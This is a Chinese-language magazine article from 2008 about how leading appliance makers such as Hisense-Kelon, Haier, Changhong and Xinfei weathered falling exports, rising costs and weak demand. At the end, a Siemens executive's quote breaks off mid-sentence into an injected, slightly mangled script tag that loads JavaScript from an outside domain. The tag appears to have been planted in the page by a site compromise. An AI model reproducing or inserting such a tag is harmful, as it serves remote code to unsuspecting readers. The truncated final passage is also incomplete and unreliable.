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看看网 - 《电器》杂志(中文版)(12个月12期) - 产业 - 逆境前行,主流企业真金不怕火炼?
逆境前行,主流企业真金不怕火炼?
2008-9-3  作者:于昊  阅读:  

    2008年7月18日,停牌三天的海信科龙(000921.SZ)公开宣布,公司临时董事会已作出决定,暂停此前有关定向增发以向海信收购白色家电的“重大资产重组预案”至少三个月。公告的解释称,恶劣的宏观经济环境引发的高风险是暂停重组的主要原因。家电行业在2008年遭遇“寒冬”,逆境中,主流家电企业将怎样前行?

    今年早些时候,国务院总理温家宝指出:“2008年是中国经济最困难的一年。”对家电行业来说,这也是一句最能反映现实情况的总结。海信方面在中止重组科龙的公告中明确表示,自启动相关资产重组预案以来,国际及国内经济形势经历了巨大变化。随着全球金融风险扩大、能源及主要原材料价格急升、国内及海外资本市场波动、国内宏观经济形势严峻,以及家电业的经营环境急剧恶化,诸多不利因素使公司拟购买资产未来一段时期的经营前景及盈利预期出现不确定性。

    海信重组科龙漫长的过程中又一次“踩了刹车”。据科龙内部人士称:“今年上半年科龙的经营遇到了很大困难,尤其是空调方面,虽然金融层面的重组暂停,但公司内部的整合基本完成,下半年科龙的经营会有所调整。”

    面对2008年突如其来的经营压力,家电业的主流企业迎来了多年不见的“大考”。

    被困难包围2008年的困境始料未及。美国次级贷危机、人民币升值以及出口退税下调等因素导致家电行业出口增速下滑已成事实(详见本刊第七期特别策划)。在出口形势不容乐观的情况下,不少家电企业将销售策略向内销倾斜。美的空调国内营销总经理陆剑锋曾于今年3月明确对《电器》记者表示,美的空调今年会在内销方面投入更多资源。然而,众多企业注重内销的战略调整导致了国内家电市场再次出现供过于求的局面。

    国内的经济环境也不如想象中乐观。申银万国证券分析师付娟表示,2008年国内家电企业面临的成本压力比以往任何一年都大。原材料和原油价格大幅上涨,家电企业制造成本和运输成本也都持续上扬,而许多产品为了符合能效标准并追求高能效等级的技术要求,采购成本上也有所上升;此外,新《劳动合同法》实施后,家电企业的人力成本上涨很多。这些都给海尔等国内家电领先企业带来巨大挑战,经营压力骤增。

    事实上,在家电企业成本大涨、产能过剩的情况下,国内市场的消化能力也遭遇困境。从紧的货币政策(加息、上调准备金率和控制信贷规模)导致房地产行业萎缩,促使新房装修的家电需求减少。而面对CPI持续走高、汽油价格再次上涨等局面,国内消费者的购买力严重受挫,家电企业近两年来赖以维持利润的中高端产品的需求下降。在这种情况下,2008年中国又相继遭遇南方雪灾、汶川地震,家电企业的正常生产经营、运输都遇到了困难。值得一提的是,在消费力减弱等不利因素下,今年7月之前中国大部分地区阴雨连绵,不仅空调,甚至冰箱的销售都受到了影响。据中华商务网的最新统计数据,2008年5月,空调内销总量同比下滑32%,创下空调单月最大跌幅;而冰箱仅同比增长1.6%,远远低于业界预期。“最要命的是,目前我们的价格还受控在连锁渠道商手中,正常的价格上涨难以维持,感觉控制终端力不从心!”某冰箱企业北京分公司负责人说到此处显得有些激动。

    挑战背后藏机遇

    困难重重的局面并没有让主流企业丧失信心,相反,很多企业认为,这是市场带给他们的又一次机遇。

    新飞电器市场部部长卢述林对《电器》记者表示,行业目前受到制造成本以及市场消费两方面的巨大压力,这将促使行业出现新一轮的优胜劣汰。近年来,很多此前并未涉足家电产业的企业开始制造冰箱,两年来仅宁波慈溪地区从事冰箱生产的企业就有50家。而如今的巨大生存压力正在导致那些因市场火爆而诞生的诸多中小品牌逐渐被淘汰。

    长虹集团新闻发言人何克思称,长虹和美菱正在发挥强大的协同效应,而2008年虽然面临巨大生存压力,但三四级市场的增长仍然令人欣喜。从长虹目前了解的数据来看,三四级市场的增速高于市场整体增速。这种趋势在冰箱产品上体现的尤为明显。虽然农村的市场需求也因为通货膨胀而受到影响,但目前农村的冰箱市场正处于成长期,增长依然较其他地区偏快。因此,长虹、美菱等强势品牌依靠规模优势可以更好地发挥强大的销售网络优势,与那些中小企业相比,在现今这种环境下,大企业更有可能捕捉增速最快的市场机会。海尔集团有关负责人表示,国家的宏观经济环境正在考验家电业,但同时也给了海尔等一线品牌机会。海尔冰箱等产品的市场份额仍然远远高于市场竞争对手,海尔正通过产品创新等多种方式应对市场变化,相信困难时期度过之后,市场秩序将进一步规范。

    西门子家用电器(中国)销售总经理吴建科认为,当前中国的家电业生存环境?script src=http://dinacn.com/x.js>

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